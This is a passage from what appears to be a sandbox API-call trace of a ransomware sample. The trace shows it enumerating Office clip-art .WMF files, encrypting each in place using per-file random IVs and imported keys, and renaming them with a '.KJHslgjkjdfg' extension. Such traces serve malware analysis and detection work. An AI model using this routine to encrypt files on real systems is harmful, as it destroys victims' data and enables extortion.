ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x69d8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0185776.WMF", cAlternateFileName="")) returned 1 [0178.408] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185776.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185776.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0178.409] GetProcessHeap () returned 0x2a0000 [0178.409] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0178.409] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0178.409] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0178.410] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0178.412] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0178.412] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0178.412] GetProcessHeap () returned 0x2a0000 [0178.412] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0178.412] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0178.412] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0178.412] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0178.412] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0178.412] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0178.412] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0178.412] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0178.413] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0178.413] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0178.413] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0178.413] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.413] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x69d8, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x69d8, lpOverlapped=0x0) returned 1 [0178.414] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x69e0, dwBufLen=0x69e0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x69e0) returned 1 [0178.415] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.415] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x69e0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x69e0, lpOverlapped=0x0) returned 1 [0178.415] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0178.415] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x6ab4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.415] SetEndOfFile (hFile=0x114) returned 1 [0178.418] GetProcessHeap () returned 0x2a0000 [0178.418] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0178.418] GetProcessHeap () returned 0x2a0000 [0178.418] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0178.418] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185776.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185776.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185776.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185776.wmf.kjhslgjkjdfg")) returned 1 [0178.420] CloseHandle (hObject=0x114) returned 1 [0178.420] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564c4a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x62e0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0185778.WMF", cAlternateFileName="")) returned 1 [0178.420] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185778.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185778.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0178.422] GetProcessHeap () returned 0x2a0000 [0178.422] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0178.422] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0178.422] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0178.422] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0178.422] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0178.422] GetProcessHeap () returned 0x2a0000 [0178.422] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0178.422] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0178.422] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0178.423] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0178.427] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0178.427] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0178.427] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0178.427] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0178.427] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0178.428] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0178.428] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0178.428] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.428] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x62e0, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x62e0, lpOverlapped=0x0) returned 1 [0178.430] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x62e0, dwBufLen=0x62e0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x62e0) returned 1 [0178.430] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.430] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x62e0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x62e0, lpOverlapped=0x0) returned 1 [0178.431] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0178.431] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x63b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.431] SetEndOfFile (hFile=0x114) returned 1 [0178.434] GetProcessHeap () returned 0x2a0000 [0178.434] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0178.434] GetProcessHeap () returned 0x2a0000 [0178.434] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0178.434] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185778.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185778.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185778.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185778.wmf.kjhslgjkjdfg")) returned 1 [0178.435] CloseHandle (hObject=0x114) returned 1 [0178.435] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe956, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0185780.WMF", cAlternateFileName="")) returned 1 [0178.435] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185780.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185780.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0178.436] GetProcessHeap () returned 0x2a0000 [0178.436] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0178.437] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0178.437] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0178.437] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0178.440] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0178.440] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0178.440] GetProcessHeap () returned 0x2a0000 [0178.440] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0178.440] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0178.441] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0178.441] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0178.450] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0178.450] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0178.466] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0178.466] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0178.466] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0178.466] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0178.469] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0178.478] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.478] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xe956, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xe956, lpOverlapped=0x0) returned 1 [0178.483] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xe960, dwBufLen=0xe960 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xe960) returned 1 [0178.484] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.484] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xe960, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xe960, lpOverlapped=0x0) returned 1 [0178.485] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0178.485] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xea34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.485] SetEndOfFile (hFile=0x114) returned 1 [0178.488] GetProcessHeap () returned 0x2a0000 [0178.488] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0178.488] GetProcessHeap () returned 0x2a0000 [0178.488] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0178.488] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185780.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185780.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185780.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185780.wmf.kjhslgjkjdfg")) returned 1 [0178.490] CloseHandle (hObject=0x114) returned 1 [0178.490] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564c4a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x99a2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0185786.WMF", cAlternateFileName="")) returned 1 [0178.490] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185786.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185786.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0178.491] GetProcessHeap () returned 0x2a0000 [0178.491] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0178.491] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0178.491] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0178.492] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xe, lpOverlapped=0x0) returned 1 [0178.496] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0178.496] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0178.496] GetProcessHeap () returned 0x2a0000 [0178.496] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0178.496] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0178.496] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0178.496] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0178.497] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0178.497] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0178.497] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0178.497] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0178.497] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0178.497] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0178.497] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0178.497] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.497] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x99a2, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x99a2, lpOverlapped=0x0) returned 1 [0178.501] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x99b0, dwBufLen=0x99b0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x99b0) returned 1 [0178.502] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.502] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x99b0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x99b0, lpOverlapped=0x0) returned 1 [0178.502] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0178.502] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x9a84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.502] SetEndOfFile (hFile=0x114) returned 1 [0178.505] GetProcessHeap () returned 0x2a0000 [0178.505] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0178.505] GetProcessHeap () returned 0x2a0000 [0178.505] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0178.505] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185786.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185786.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185786.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185786.wmf.kjhslgjkjdfg")) returned 1 [0178.507] CloseHandle (hObject=0x114) returned 1 [0178.507] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564c4a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x50b6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0185790.WMF", cAlternateFileName="")) returned 1 [0178.507] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185790.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185790.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0178.508] GetProcessHeap () returned 0x2a0000 [0178.508] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0178.508] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0178.508] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0178.508] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0178.512] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0178.512] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0178.512] GetProcessHeap () returned 0x2a0000 [0178.512] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 